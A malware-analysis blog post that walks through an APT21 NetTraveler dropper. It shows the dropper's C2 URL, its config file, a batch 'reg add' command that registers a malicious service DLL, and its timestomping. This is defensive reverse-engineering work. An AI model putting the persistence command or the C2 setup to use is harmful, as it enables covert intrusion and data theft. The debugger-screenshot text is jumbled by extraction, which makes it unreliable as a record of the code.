Dissecting APT21 samples using a step-by-step approach

cybergeeks.tech/dissecting-apt21-samples-using-a-step-by-step-approach/

Summary

In this blog post we're presenting a detailed analysis of 2 malicious files (a backdoor known as "Travelnet") linked to an APT (Advanced Persistent Threat) actor called APT21.

APT21 , also known as Zhenbao or Hammer Panda, is a group of suspected state sponsored hackers of Chinese origin.

According to multiple online sources, that we have referenced in the article, APT 21 historically targeted the Russian government and groups which seek greater autonomy or independence from China, such as those from Tibet or Xinjiang.

The first file is a dropper used to register a malicious DLL (NetTraveler trojan) as a service. The main purpose of the trojan is to gather information about the environment such as user name, host name, IP address of the host, Windows OS version, different configurations of the CPU, information about memory consumption, the list of processes. The malicious process is interested in .doc, .docx, .xls, .xlsx, .txt, .rtf, .pdf files on disk and also on USB drives and network shares in order to exfiltrate them. During the entire infection, multiple .ini configuration files are created and also the malware has the capability to download and execute additional files on the infected machine. The data is compressed using a custom Lempel-Zivbased algorithm and encoded with a modified Base64 algorithm before it will be exfiltrated to the Command and Control server.

Technical analysis

Section I

Dropper

SHA256: FECA8DB35C0C0A901556EFF447C38614D14A7140496963DF2E613B206527B338

One of the first steps the malware is performing consists of creating a mutex called "INSTALL SERVICES NOW!" (note the space). The mutex is used to avoid reinfection of an already infected machine:

.text:00401000 .text:00401001 .text:00401003 .text:00401009 .text:0040100A .text:0040100F .text:00401011 .text:00401013 .text:00401019 .text:00401018 .text:00401021 .text:00401026	push mov sub push push push call mov call cmp jz	<pre>ebp ebp, esp esp, 208h esi offset Name 1 0 ds:CreateMutexA esi, eax ds:GetLastError eax, 087h; '.' loc_4010C2</pre>	;;;	" INSTALL SERVICES NOW!" bInitialOwner lpMutexAttributes	F	igure 1
--	--	--	-----	--	---	---------

The malicious process creates a configuration file at "C:\Windows\System\config_t.dat" which will be heavily used during the entire infection. The API call used to accomplish this task is CreateFileA and it's presented in figure 2:

•	00401716	57					push edi		¥878				
•	00401717	53	3				push ebx		×87				
•	00401718	6A	02				push 2		×87r				
•	0040171A	57					push edi		×07				
•	0040171B	6.4	03				push 3		1071				
•	0040171D	68	3 00	00	00 CC	0	push C0000000	and the second	X8/1				
•	00401722	50)				push eax	eax:"C:\\WINDOWS\\system'	X87r				
	00401723	FF	15	30	90 40	0 00	call dword ptr ds:[<&CreateFileA>]		x87r				
•	00401729	83	F8	FF	20.00		cmp eax, FFFFFFFF	eax:"C:\\WINDOWS\\system'	x87r				
	0040172C	V OF	84	1F	04 00	0 00	je apt. 401851						
•	00401732	50)		1		push eax	eax:"C:\\WINDOWS\\system'	X871				
•	00401733	FF	15	60	90 40	0 00	<pre>call dword ptr ds:[<&CloseHandle>]</pre>		X871				
•	00401739	80	85	D4	FA FF	F FF	lea eax, dword ptr ss: ebp-52C		x871				
•	0040173F	56	5				push esi		¥871				
•	00401740	50)				eax: "C:\\WINDOWS\\system						
•	00401741	57				Constant of the second s	push edi		10/1				
•	00401742	FF	15	50	90 40	0 00	call dword ptr ds:[<&GetModuleFileNameA>]		2076				
•	00401748	80	85	D4	FA FF	FFF	lea eax, dword ptr ss: ebp-52C		X8/2				
•	0040174E	68	S EO	68	41 00	0	push apt. 4168E0	4168E0:"rb"	X875				
•	00401753	50)			1000	push eax	eax:"C:\\WINDOWS\\system'	X875				
•	00401754	E8	5 F8	07	00 00	0	call apt. 401F51		X875				
•	00401759	88	F0				mov esi,eax	eax:"C:\\WINDOWS\\system"					
•	0040175B	55					pop ecx	~					
•	<							>	Defau				
	•								1: [
030	<pre><apt.&cr< pre=""></apt.&cr<></pre>	eateFi	1eA:	>]=<	cerne	el32.CreateFi	1eA>		2: [
									3: [
									4: [
pt.	exe: \$1723	#B23											
umor	2 000	ump 2	-	Dum	4	Dump 5	Watch 1 [r=] locale 2 Struct 0019F78C 0019F840 "C:	\\WINDOWS\\system\\config_t	.dat"				
ump	12 0-0 D	umpo	0-0	Jun	77	e-e Dump 3	Watch 1 1 1-1 Locals 2 Struct 0019F790 C0000000						
							SCII 0019F/94 00000003						
C 5	7 49 4E 4	14 4F 5	7 53	3 5C	73 7	79 73 74 65	:\WINDOWS\syste						
3 (SF 6E 66 0	59 67 5	F 7	4 2E	64 6	51 74 00 00 i	\config_t.dat						
0 0	00 00 00 0	0 00 00	8 0	8 00	00 7	7F 00 00 00	0019F7A0 0000080						
0 0	0 76 01 0	00 00 0	0 00	0 00	00 5	O 6A 97 77	0019F7A4 0000000						

The following bytes found at a precise location in the malicious file are read in order to decrypt them:



The decryption routine is shown in the next figure and consists of a XOR operation with 0x3E:



After the decryption is over the new string represents a URL which contains the C2 server as we'll see later on:



The configuration file is populated using WritePrivateProfileStringA API calls as shown below. Please note that WebPage is equal to the string decrypted above and the others options will be explained later on in a better context:

91P	■ 00401301 \$50 push eax = eax:"http://www.vipmail ● 00401302 85 DC FC FF FF tea eax, dword ptr ss:[ebp-324] eax:"http://www.vipmail ● 00401305 50 push eax push eax eax:"http://www.vipmail ● 00401305 65 D4 68 41 00 push eax push eax eax:"http://www.vipmail ● 00401305 FF D6 push eax ebx:"bottom" ebx:"bottom" ● 00401305 FF D6 push eax ebx:"bottom" ebx:"bottom" ● 00401353 8D 45 FC tea eax, dword ptr ss:[ebp-4] eax:"http://www.vipmailr ● 00401356 57 push eax eax: "http://www.vipmailr ● 00401356 57 push eax eax: "http://www.vipmailr ● 00401357 50 push eax eax: "http://www.vipmailr ● 00401358 E8 93 08 00 00 call apt.402280 eax: "http://www.vipmailr ● 00401357 83 C4 0C add esp.C tea eax, dword ptr ss:[ebp-4] </th						
	<	+5 FC	rea cax, and a per ss. cop 4		> Default (stdcall)		
esi= <kernel< th=""><th>32.WritePrivateProfileStr 9DF apt.exe:\$19DF #DDF</th><th>ringA> (763591AO)</th><th></th><th></th><th>1: [esp+4] 00416804 "webP 2: [esp+4] 00416804 "webP 3: [esp+8] 0019F98C "http 4: [esp+C] 0019F840 "C:\\</th></kernel<>	32.WritePrivateProfileStr 9DF apt.exe:\$19DF #DDF	ringA> (763591AO)			1: [esp+4] 00416804 "webP 2: [esp+4] 00416804 "webP 3: [esp+8] 0019F98C "http 4: [esp+C] 0019F840 "C:\\		
Dump 1	Dump 2 Dump 3	💭 Dump 4 🛛 Dump 5	Watch 1 [x=] Locals	16640 "Option" 168D4 "WebPage"	76		
Address He	x		ASCII 0019F7A0 001 0019F7A4 001	.9F9BC "http://www.vipmailru. .9F840 "C:\\WINDOWS\\svstem\\	<pre>com/newsinfo/11nt/nettraveler.asp" config_t.dat"</pre>		
Figure 6	5						
- igui e v	 00401A0A 00401A0B 00401A0E 00401A0F 00401A14 	50 8D 45 FC 50 68 C4 68 41 00 53	push eax lea eax,dword ptr ss:[ebp-4] push eax push apt.4168C4 push ebx	ea ea 41 et	xx:"10" x87 xx:"10" x87 x8:"68C4:"DownCmdTime" x87 xx:"0ption" x87		
	00401A17 00401A19 00401A19 00401A10 00401A1E 00401A23	6A 04 8D 45 FC 57 50 E8 5D 08 00 00 83 C4 0C	push 4 lea eax,dword ptr ss:[ebp-4] push edi push eax call apt.402280 add esp,C	ez	x87 x87 x87 x87 x87 x87 x87 x87 x87 x87		
esi= <kerne< td=""><td>132.WritePrivateProfi</td><td>leStringA> (763591A</td><td>0)</td><td></td><td>1:</td></kerne<>	132.WritePrivateProfi	leStringA> (763591A	0)		1:		
.text:0040	1A15 apt.exe:\$1A15 #E	15			3: 4:		
Dump 1	Dump 2 Dump	3 💭 Dump 4 💭 D	ump 5 🛞 Watch 1 🛛 [x=] Locals 🖉 Struct	0019F798 00416640 "Opti 0019F79C 004168C4 "Down	on" CmdTime"		
Address	lex		ASCII	0019F7A0 0019FCDC "10"	WINDOWS\\system\\config t dat"		
Figure	7	00/42 10 40 00/00 00					
	00401A40 00401A41 00401A41 00401A44 00401A45 00401A45 00401A40 00401A40 00401A40 00401A50 00401A57 00401A57 00401A57 00401A67 00401A67	50 50 50 50 58 58 58 58 58 58 58 58 58 50 50 50 50 50 50 50 50 50 50	<pre>push eax lea eax,dword ptr ss:[ebp-4] push eax push apt.416888 push ebx call esi cmp dword ptr ss:[ebp-8],edi lea eax,dword ptr ss:[ebp-1A0] push eax je apt.401817 push apt.416884 mov ebx,apt.4168A2 push ebx</pre>	ea ea 41 eb es ea ea eb	x: "128" x: "128" \$882: "UploadRate" x: "Option" i: WritePrivateProfileS' x: "128" x: "Option", 4168AC: "Otl 6848: "UP" x: "Option" Defau 1:		
esi= <kerne< td=""><td>132.WritePrivateProfi</td><td>leStringA> (763591A</td><td>D)</td><td></td><td>2: [</td></kerne<>	132.WritePrivateProfi	leStringA> (763591A	D)		2: [
.text:0040	1A4B apt.exe:\$1A4B #E	48			3: [4: [
Dump 1	Dump 2 Dump	3 💭 Dump 4	ump 5 👹 Watch 1 🛛 🖉 Struct	0019F798 00416640 "Optic 0019F79C 004168B8 "Uploa	on" adRate"		
Address H	ex			0019F7A0 0019FCDC "128" 0019F7A4 0019FB40 "C:\\V	VINDOWS\\system\\config_t.dat"		

Figure 8

esi= <kernel .text:00402</kernel 	00401838 00401840 00401840 00401840 00401840 0040184C 0040184C 0040184C 00401851 00401854 00401854 00401855 00401856 00401840 00401851 00401850 004000000000000000000000000000000000	68 90 68 41 (68 84 68 41 (68 78 68 41 (68 78 40 1 58 V EB 02 33 C0 5F 5E 5B C9 C9 C9 C9 C9 C9 C9 C9 C9 C9	Image: Second	L6854 L6878 L6878 L853 [K=] Locals ↓ Struct ↓ 0019F7A0 0019F7A0 0019F7A	00416878 "OtherTwo" 00416878 "OtherTwo" 00416878 "OtherTwo" 00416884 "Autocheck" 00416884 apt.00416884 0019F840 "C:\\WINDOWS\\system\\config t	x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x
esi= <kernei .text:00402</kernei 	00401838 00401840 00401840 00401840 00401845 00401845 00401851 00401851 00401854 00401854 00401854 00401855 00401856 00401840 00401850 00401800 00401800000000000000000000000	68 90 68 41 (68 84 68 41 (68 84 68 41 (FF D6 6A 01 58 V EB 02 33 C0 5F 5E 5B C9 0 0 fileStringA> (76 V#F4A ump 3 \underset Dump 4	<pre>boo push apt.41 push apt.41 push apt.41 push 1 pop eax jmp apt.401 xor eax,eax pop edi pop esi pop ebx leave i3591A0)</pre>	16854 16878 (1 B53 (1 X=] Locals	00416878 "OtherTwo" 00416878 "OtherTwo" 00416878 "OtherTwo"	x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x
esi= <kernel< th=""><th>00401838 00401845 00401845 00401845 00401845 00401845 00401851 00401851 00401854 00401854 00401854 00401854 00401854 00401854 132.writePrivatePr 184A apt.exe:\$1844</th><th>68 90 68 41 (68 84 68 41 (68 78 68 41 (FF D6 6A 01 58 V EB 02 33 C0 5F 5E 5B C9 ofilestringA> (76 v #F4A</th><th>3591A0)</th><th>16854 16878 1853</th><th><pre>#16874: AdtocherTwo" 416878: "OtherTwo" esi:WritePrivateProfiles eax: "C:\\WINDOWS\\system' eax: "C:\\WINDOWS\\system' esi:WritePrivateProfiles ebx: "Option" </pre></th><th>x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x</th></kernel<>	00401838 00401845 00401845 00401845 00401845 00401845 00401851 00401851 00401854 00401854 00401854 00401854 00401854 00401854 132.writePrivatePr 184A apt.exe:\$1844	68 90 68 41 (68 84 68 41 (68 78 68 41 (FF D6 6A 01 58 V EB 02 33 C0 5F 5E 5B C9 ofilestringA> (76 v #F4A	3591A0)	16854 16878 1853	<pre>#16874: AdtocherTwo" 416878: "OtherTwo" esi:WritePrivateProfiles eax: "C:\\WINDOWS\\system' eax: "C:\\WINDOWS\\system' esi:WritePrivateProfiles ebx: "Option" </pre>	x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x8 x
Figure S		68 90 68 41 (68 84 68 41 (68 78 68 41 (FF D6 6A 01 58 V EB 02 33 C0 5F 5E 5E 5E 5B C9 0fileStringA> (76	3591A0)	16854 16878 1853	<pre>416878: "OtherTwo" 416878: "OtherTwo" esi:WritePrivateProfiles eax: "C:\\WINDOWS\\system' eax: "C:\\WINDOWS\\system' esi:WritePrivateProfiles ebx: "Option" ></pre>	X8 X8 X8 X8 X8 X8 X8 X8 X8 X8 X8 X8 X8 X
Dump 1	Dump 2 00 54 55	Dump 3 Dump 4	Dump 5 🛞 Watch 1 ASCII ASCII Dump 6 00 00 00 00 00 00 00 00 00 00 00 00 0	Image: Non-Street Struct O019F798 0019F79C 0019F79C 0019F7A0 0019F7A0 0019F7A1 0019F7A4	004168AC "Other" 004168A8 "UP" 00416890 apt.00416890 0019FB40 "C:\\WINDOWS\\system\\config_1	t.dat
esi= <kerne< td=""><td>132.WritePrivate</td><td>rofileStringA> (76 6 #F26</td><td>33591A0)</td><td></td><td>></td><td>Def 1: 2: 3: 4:</td></kerne<>	132.WritePrivate	rofileStringA> (76 6 #F26	33591A0)		>	Def 1: 2: 3: 4:
	 00401B56 00401B57 00401B58 00401B58 	C9 C3 FF 74 24 04 E8 C9 0E 00 (leave ret push dword call apt.40	ptr_ss:[esp+4]	[esp+4]:"UP"	×8 ×8
	● 00401851 ● 00401853 00401853 00401854 00401855	33 C0 5F 5E 5B	xor eax,eax pop edi pop esi pop ebx	C	<pre>eax:"C:\\WINDOWS\\system' esi:WritePrivateProfileS' ebx:"Option"</pre>	×8 ×8 ×8
	00401B40 00401B45 00401B45 00401B4A 00401B4C 00401B4E 00401B4E	68 84 68 41 (68 78 68 41 (FF D6 6A 01 58 × FB 02	00 push apt.41 00 push apt.41 call esi push 1 pop eax	16884 16878	416884: "AutoCheck" 416878:"OtherTwo" esi:WritePrivateProfileS eax:"C:\\WINDOWS\\system'	×8 ×8 ×8 ×8
	● 00401B31 00401B32 ● 00401B32 ● 00401B34 00401B39 00401B38	50 74 07 68 B4 68 41 (EB 05 68 90 68 41 (push eax je apt.401E 00 push apt.41 jmp apt.401 00 push apt.401 00 push apt.41	338 16884 1840 16890	eax:"C:\\WINDOWS\\system"	×8 ×8 ×8 ×8
	00401B21 00401B26 00401B28 00401B28 00401B28	68 AC 68 41 0 FF D6 39 7D E4 8D 85 60 FE f	DO push apt.41 call esi cmp dword p FF FF lea eax,dwc	168AC ptr ss:[ebp-1C],edi prd ptr ss:[ebp-1A0]	4168AC: "Other" esi:WritePrivateProfileS	×8 ×8 ×8
-	00401B1C	68 90 68 41 0 68 A8 68 41 0	push ebx jmp apt.401 00 push apt.41 00 push apt.43	LB26 L6890 L6848	ebx:"Option" 4168A8:"UP"	GS ES CS
	00401B14 00401B15 00401B17 00401B17	53 × FB 0F		20034	416894 "PF"	

After all of these API calls the configuration file has the following schema:

🔚 config	g_t.dat 🔀	
1	[Option]	
2	WebPage=http://www.vipmailru.com/newsinfo/llnt/nettraveler.asp	
3	DownCmdTime=10	
4	UploadRate=128	Figure 11
5	ServiceName=FastUserSwitchingCompatibility	riguie ii
6	[Other]	
7	UP=0	
8	[OtherTwo]	
9	AutoCheck=1	

Now there is a byte at offset 0x334 in the file which indicates if the malicious process is supposed to use a proxy or not (by default this value is 0 and UP=0 means the malware is not using a proxy for network communications). If that byte is set to 1, the malware writes UP=1 in the configuration file and also 5 additional values: PS (proxy address), PP (proxy port), PU (proxy user), PW (proxy password) and PF (unknown). RegQueryValueExA API is used to retrieve the type and data for netsvcs (svchost.exe) associated with "HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost":

0040112F 00401130 00401136 00401136 0040113A 0040113A 0040113A 0040113B 0040113C 00401141 00401141 0040114A	50 8D 85 8C F3 FF FF 50 8D 45 88 50 53 68 24 68 41 00 FF 75 EC FF 15 04 90 40 00 FF 75 EC	<pre>push eax lea eax,dword ptr ss:[ebp-C74] push eax lea eax,dword ptr ss:[ebp-78] push eax push eax push eax push apt.416824 push dword ptr ds:[ebp-14] call dword ptr ds:[c&RegQueryValueExA>] push dword ptr ss:[ebp-14]</pre>	416824: "netsvcs"
dword ptr [00409004 <apt.®q .text:00401144 apt.exe:\$1144 #</apt.®q 	<pre>8B F0 ueryValueExA>]=<advapi32. 544</advapi32. </pre>	mov esi,eax	>
Jump 1 Jump 2 Jump 2 Jump 2 Address Hex 0019FCDC 00 00 00 00 F4 FE 19 0019FCEC 48 00 61 00 72 00 64 64	3 Jump 4 Jump 5 00 5C 10 40 00 <	Image: Watch 1 Ix=l Locals Image: Struct Image: O019EE43 00000 ASCII 0019EE50 00000 0019EE50 00000 Image: I	114C 824 "netsvcs" 000 C68 06C CBC

The malicious file enumerates all the available services on the host and compares them with a hardcoded list presented in figure 13. The first service which is not found on the system will be used for malicious purposes as we'll describe further.

Address	He	ĸ															ASCII
0019F06C	43	65	72	74	50	72	6F	70	53	76	63	00	53	43	50	6F	CertPropSvc.SCPo
0019F07C	6C	69	63	79	53	76	63	00	6C	61	6E	GD	61	6E	73	65	licySvc.lanmanse
0019F08C	72	76	65	72	00	67	70	73	76	63	00	69	70	68	6C	70	rver.gpsvc.iphlp
0019F09C	73	76	63	00	6D	73	69	73	63	73	69	00	73	63	68	65	svc.msiscsi.sche
0019F0AC	64	75	6C	65	00	77	69	6E	<u>6D</u>	67	6D	74	00	53	65	73	dule.winmgmt.Ses
0019F0BC	73	69	6F	6E	45	6E	76	00	46	61	73	74	55	73	65	72	sionEnv.FastUser
0019F0CC	53	77	69	74	63	68	69	6E	67	43	6F	GD	70	61	74	69	SwitchingCompati
0019F0DC	62	69	6C	69	74	79	00	49	61	73	00	49	72	GD	6F	6E	bility.Ias.Irmon
0019F0EC	00	4E	6C	61	00	4E	74	6D	73	73	76	63	00	4E	57	43	.Nla.Ntmssvc.NWC
0019F0FC	57	6F	72	6B	73	74	61	74	69	6F	6E	00	4E	77	73	61	Workstation.Nwsa
0019F10C	70	61	67	65	6E	74	00	52	61	73	61	75	74	6F	00	52	pagent.Rasauto.R FIGURE 13
0019F11C	61	73	GD	61	6E	00	52	65	6D	6F	74	65	61	63	63	65	asman.Remoteacce
0019F12C	73	73	00	53	45	4E	53	00	53	68	61	72	65	64	61	63	ss.SENS.Sharedac
0019F13C	63	65	73	73	00	53	52	53	65	72	76	69	63	65	00	54	cess.SRService.T
0019F14C	61	70	69	73	72	76	00	57	6D	69	00	57	6D	64	6D	50	apisrv.Wmi.WmdmP
0019F15C	GD	53	70	00	77	75	61	75	73	65	72	76	00	42	49	54	mSp.wuauserv.BIT
0019F16C	53	00	53	68	65	6C	6C	48	57	44	65	74	65	63	74	69	S.ShellHWDetecti
0019F17C	6F	6E	00	4C	6F	67	6F	6E	48	6F	75	72	73	00	50	43	on.LogonHours.PC
0019F18C	41	75	64	69	74	00	68	65	6C	70	73	76	63	00	75	70	Audit.helpsvc.up
0019F19C	6C	6F	61	64	GD	67	72	00	54	6F	6B	65	6E	42	72	6F	loadmgr.TokenBro
0019F1AC	6B	65	72	00	55	73	65	72	4D	61	6E	61	67	65	72	00	ker.UserManager.
0019F1BC	41	70	70	4D	67	GD	74	00	00	00	6F	00	00	00	52	00	AppMgmtoR.

The strategy is as follows: it will enumerate the keys corresponding to a service like "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>" in order to see if the service is installed or not. The following services have been present on the analyzing machine: CertPropSvc, SCPolicySvc, lanmanserver, gpsvc, iphlpsvc, msiscsi, schedule, winmgmt, SessionEnv and the first one which was missing is FastUserSwitchingCompatibility. RegOpenKeyExA API is utilized to check for the existence of the services, one such example is detailed in the figure below:

Address	Нех				ASCII		^	0019EE54 000	000000			
Dump 1	Dump 2	Ump 3	3 🔛 Dump 4	Ump 5	🛞 Watch 1	[x=] Locals	Struct	0019EE4C 800 0019EE50 001	00002 9F46C "S	YSTEM\\CurrentControlSet	\\se	rvices\\CertPropSvc"
dword ptr	[00409000 < 011E8 apt.ex	4011E8 4011E8 4011F0 ~ apt.&RegOpt e:\$11E8 #58	FF 15 00 90 38 C3 75 OE enKeyEXA>]= <a< th=""><th>40 00 dvapi32.RegO</th><th>call dwo cmp eax, jne apt.</th><th>ebx 401200</th><th>&RegOpenKey</th><th>EXA>]</th><th>_</th><th>eax:"SYSTEM\\CurrentCo</th><th>nti v</th><th>x87StatusWord 0000 March D</th></a<>	40 00 dvapi32.RegO	call dwo cmp eax, jne apt.	ebx 401200	&RegOpenKey	EXA>]	_	eax:"SYSTEM\\CurrentCo	nti v	x87StatusWord 0000 March D
00401108 50 00401109 6A 01 00401108 80 95 8C F7 FF FF 00401151 53 00401152 50 00401152 50 00401152 50				push eax push 1 lea eax, push ebx push eax push 800	dword ptr ss	: [ebp-874]			eax: "SYSTEM\\CurrentCo	nti	x87TW_0 3 (Empty) x87TW_2 3 (Empty) x87TW_4 3 (Empty) x87TW_6 3 (Empty)	

Figure 14

The file "C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll" associated with

FastUserSwitchingCompatibility service is supposed to be deleted by the running process (it doesn't exist on the machine):

A new service called "FastUserSwitchingCompatibility" is created using CreateServiceA API function which tries to impersonate the legitimate service, the binary path of the service being %SystemRoot%\System32\svchost.exe -k netsvcs (legitimate process):



Figure 16

If the call is successful we'll see a registry key like the one displayed in figure 17. (this technique is part of evasion techniques). Attackers will try to impersonate/use legitimate system binaries or libraries on the host to hide malicious activity. This will allow them to blend with regular activity and remain hidden. (you can find more details about lolbins at <u>https://lolbas-project.github.io/</u>).

👫 Registry Edito File Edit View	If Registry Editor − − ×										
Computer\HKEY_	LOCAL_MACHINE\SYSTEM\CurrentContro	olSet\Services\FastUserSwitchingCompatibility	Transmi								
>	DmEnrollmentSvc dmvsc dmwappushservice	(Default) (DisplayName))))))))))))))))))))))))))))))))))))	REG_SZ REG_SZ REG_DWORD	(value not set) FastUserSwitchingCompatibility 0x00000001 (1)							
· · · · · · · · · · · · · · · · · · ·	 Dnscache DoSvc dot3svc DPS drmkaud 	السعود Path کار کارخت کار	REG_EXPAND_SZ REG_SZ REG_DWORD REG_DWORD REG_DWORD	%SystemRoot%\System32\svchost.exe -k netsvcs LocalSystem 0x00000022 (2) 0x00000020 (32) 0x0000014 (332)							

Figure 17

In order to verify that the service was successfully created the malicious process tries to open

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility" (now it exists because it corresponds to the newly created service):

EIP	0040131D 0040131E 00401328 00401328 00401328 00401328 00401328 00401334 00401336	\$0 68 3F 00 0F 80 85 8C F3 53 50 FF 75 EC FF 75 EC FF 15 00 90 38 C3 ~ 74 15	00 pusi FF FF lea pusi 40 00 cal je i	eax FOO3F eax,dword ptr ebx eax dword ptr ss: dword ptr ss: eax,ebx pt.40134D	ss:[ebp-C74] [ebp-14] [<&RegOpenKeyEXA>]	eax: "SYSTEM\\CurrentConti eax: "SYSTEM\\CurrentConti eax: "SYSTEM\\CurrentConti	x87Tw_0 3 (Empty) x87Tw x87Tw_2 3 (Empty) x87Tw x87Tw_4 3 (Empty) x87Tw x87Tw_6 3 (Empty) x87Tw x87Tw_6 3 (Empty) x87Tw x87TstatusWord 0000 x875tatusWord 0000 Default (stdcall)
dword ptr	[00409000 <apt.&re< th=""><th>gOpenKeyExA>]=<a< th=""><th>dvapi32.RegOpenKey</th><th>XA></th><th></th><th></th><th>1: [esp] 80000002 2: [esp+4] 0019F06C "SYST 3: [esp+8] 0000000 4: [esp+C] 000F003F</th></a<></th></apt.&re<>	gOpenKeyExA>]= <a< th=""><th>dvapi32.RegOpenKey</th><th>XA></th><th></th><th></th><th>1: [esp] 80000002 2: [esp+4] 0019F06C "SYST 3: [esp+8] 0000000 4: [esp+C] 000F003F</th></a<>	dvapi32.RegOpenKey	XA>			1: [esp] 80000002 2: [esp+4] 0019F06C "SYST 3: [esp+8] 0000000 4: [esp+C] 000F003F
Address	Dump 2	ump 3 🚰 Dump 4	Dump 5 💮 W	itch 1 [x=i Lolai	0019EE4C 80000002 0019EE50 0019F06C 0019EE54 00000000 0019EE58 000F003F	"SYSTEM\\CurrentControlSet\\Services\\Fa	stUserSwitchingCompatibility"

A new key called "Parameters" is created under

"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility" using RegCreateKeyA API. This will be used to register a malicious DLL as a service:

	 004 004 004 004 	01392 5 01393 6 01398 F	0 8 68 67 41 F 75 EC	00	push eax push apt push dwo	.416768 rd ptr ss:	ebp-14]		416768:"Parameters"
EIP	→● 004	0139B F	F 15 18 90	40 00	call dwo	rd ptr ds:[·	<&RegCreateKeyA>]		
	• <								
.text:00401	.39B apt.exe	:\$139B #79B							
Dump 1	Dump 2	Dump 3	Dump 4	Dump 5	💮 Watch 1	[x=] Local	0019EE54 00000180 0019EE58 00416768	"Parameters"	
Address He	ex.				ASCTT		0019EE5C 0019FCB0		

Figure 19

The process creates an empty file called temp.bat in the same directory as the initial executable (in our case, Desktop). The content of the batch file is shown below:

temp	
1	lecho off
3	(reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters" /v ServiceDll /t REG_EXFAND_SZ /d C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll

Figure 20

The purpose of the batch file is to register the DLL found at

"C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll" as a service by adding "ServiceDll" entry. File "C:\WINDOWS\system32\FastUserSwitchingCompatibilityex.dll" doesn't exist at this time, however it's created by the malware using CreateFileA API as shown below (it will be populated with malicious code as we'll see in a bit):

ETP dword ptr	O040140D O040140E O04014E5 O04014E5 O04014E5 O04014E5 O04014E5 O04014E7 O04014F2 O04014F2 O04014F5 O04014F5	53 58 80 00 00 00 64 02 53 53 53 53 50 50 FF 15 30 90 40 00 88 F8 83 FF FF ∨ 0F 84 C3 00 00 00 ttef1leA>]= <kernel32.creaters< th=""><th>push ebx push 50 push 2 push ebx push ebx push ebx push ebx push 4000000 push 4000000 push 4000000 push eax call dword ptr ds: mov ed1.FFFFFFF]e apt.401SC7</th><th>ss:[ebp-17C] [<&CreateFileA>]</th><th>eax:"C:\\WINDOWS\\system edi:CloseServiceHandle, edi:CloseServiceHandle</th><th>x87r7 00000000000 x87TagWord FFFF x87Tw_2 (Empty) x87Tw_4 (Empty) x87Tw_4 (Empty) x87Tw_6 (Empty) x87StatusWord 000 us7cu a us7cu v Defaul (stdcall) 1: [esp 0019F864 2: [esp+4] 400000 3: [esp+4] 400000 4: [esp+4] e000000</th></kernel32.creaters<>	push ebx push 50 push 2 push ebx push ebx push ebx push ebx push 4000000 push 4000000 push 4000000 push eax call dword ptr ds: mov ed1.FFFFFFF]e apt.401SC7	ss:[ebp-17C] [<&CreateFileA>]	eax:"C:\\WINDOWS\\system edi:CloseServiceHandle, edi:CloseServiceHandle	x87r7 00000000000 x87TagWord FFFF x87Tw_2 (Empty) x87Tw_4 (Empty) x87Tw_4 (Empty) x87Tw_6 (Empty) x87StatusWord 000 us7cu a us7cu v Defaul (stdcall) 1: [esp 0019F864 2: [esp+4] 400000 3: [esp+4] 400000 4: [esp+4] e000000
				0019EE44 0019FB64	"C:\\WINDOWS\\system32\\FastUserSwitchin	gCompatibilityex.dll"
Ump 1	Dump 2	p 3 grg Dump 4 grg Dump	5 Watch 1 X=I Lotat	0019EE48 40000000 0019EE4C 00000000		
Address	Hex 42 24 50 57 49 45 44	45 57 53 56 73 79 72 74	ASCII ASCII	0019EE50 00000000		
0019FB74	6D 33 32 5C 46 61 73	74 55 73 65 72 53 77 69	74 m32\FastUserSwit	0019EE54 00000002		
0019FB84	63 68 69 6E 67 43 6F	6D 70 61 74 69 62 69 6C	69 chingCompatibili	0019EE5C 00000000		
	04					

Figure 21

"Timestomping" is a tehnique used by a malicious actor to modify files' timestamps (for example

created/modified timestamps) in order not to raise any suspicions about the file. In our case the created and modified timestamps of the DLL file are set to Tuesday, August 17, 2004, 9:00:00 PM:

_			
100 A	FastUserSwitchingCompatibilityer	k.dll	
Type of file:	Application extension (.dll)		
Opens with:	🚽 Common File Format Ex	Change	
Location:	C:\Windows\SysWOW64		
Size:	0 bytes		
Size on disk:	0 bytes		Figu
Created:	Tuesday, August 17, 2004, 9:00:	00 PM	
Modified:	Tuesday, August 17, 2004, 9:00:0	00 PM	
Accessed:	Today, November 22, 2020, 1 min	nute ago	
Attributes:	Read-only Hidden	Advanced	

Now the DLL file created earlier is filled with malicious code using WriteFile API. Even if the path of the file looks legitimate (running from "C:\Windows\SysWOW64" directory), it's just impersonating a legitimate service:

22

eax= <kernel32.writ< th=""><th>eax:WriteFile</th></kernel32.writ<>	eax:WriteFile				
.text:004015B3 apt	np 2 💭 Dump 3	3 💭 Dump 4 🔛 Dump	9 5 🛞 Watch 1 [x=] Loca	0019EE4C 00000184	apt.0040B040
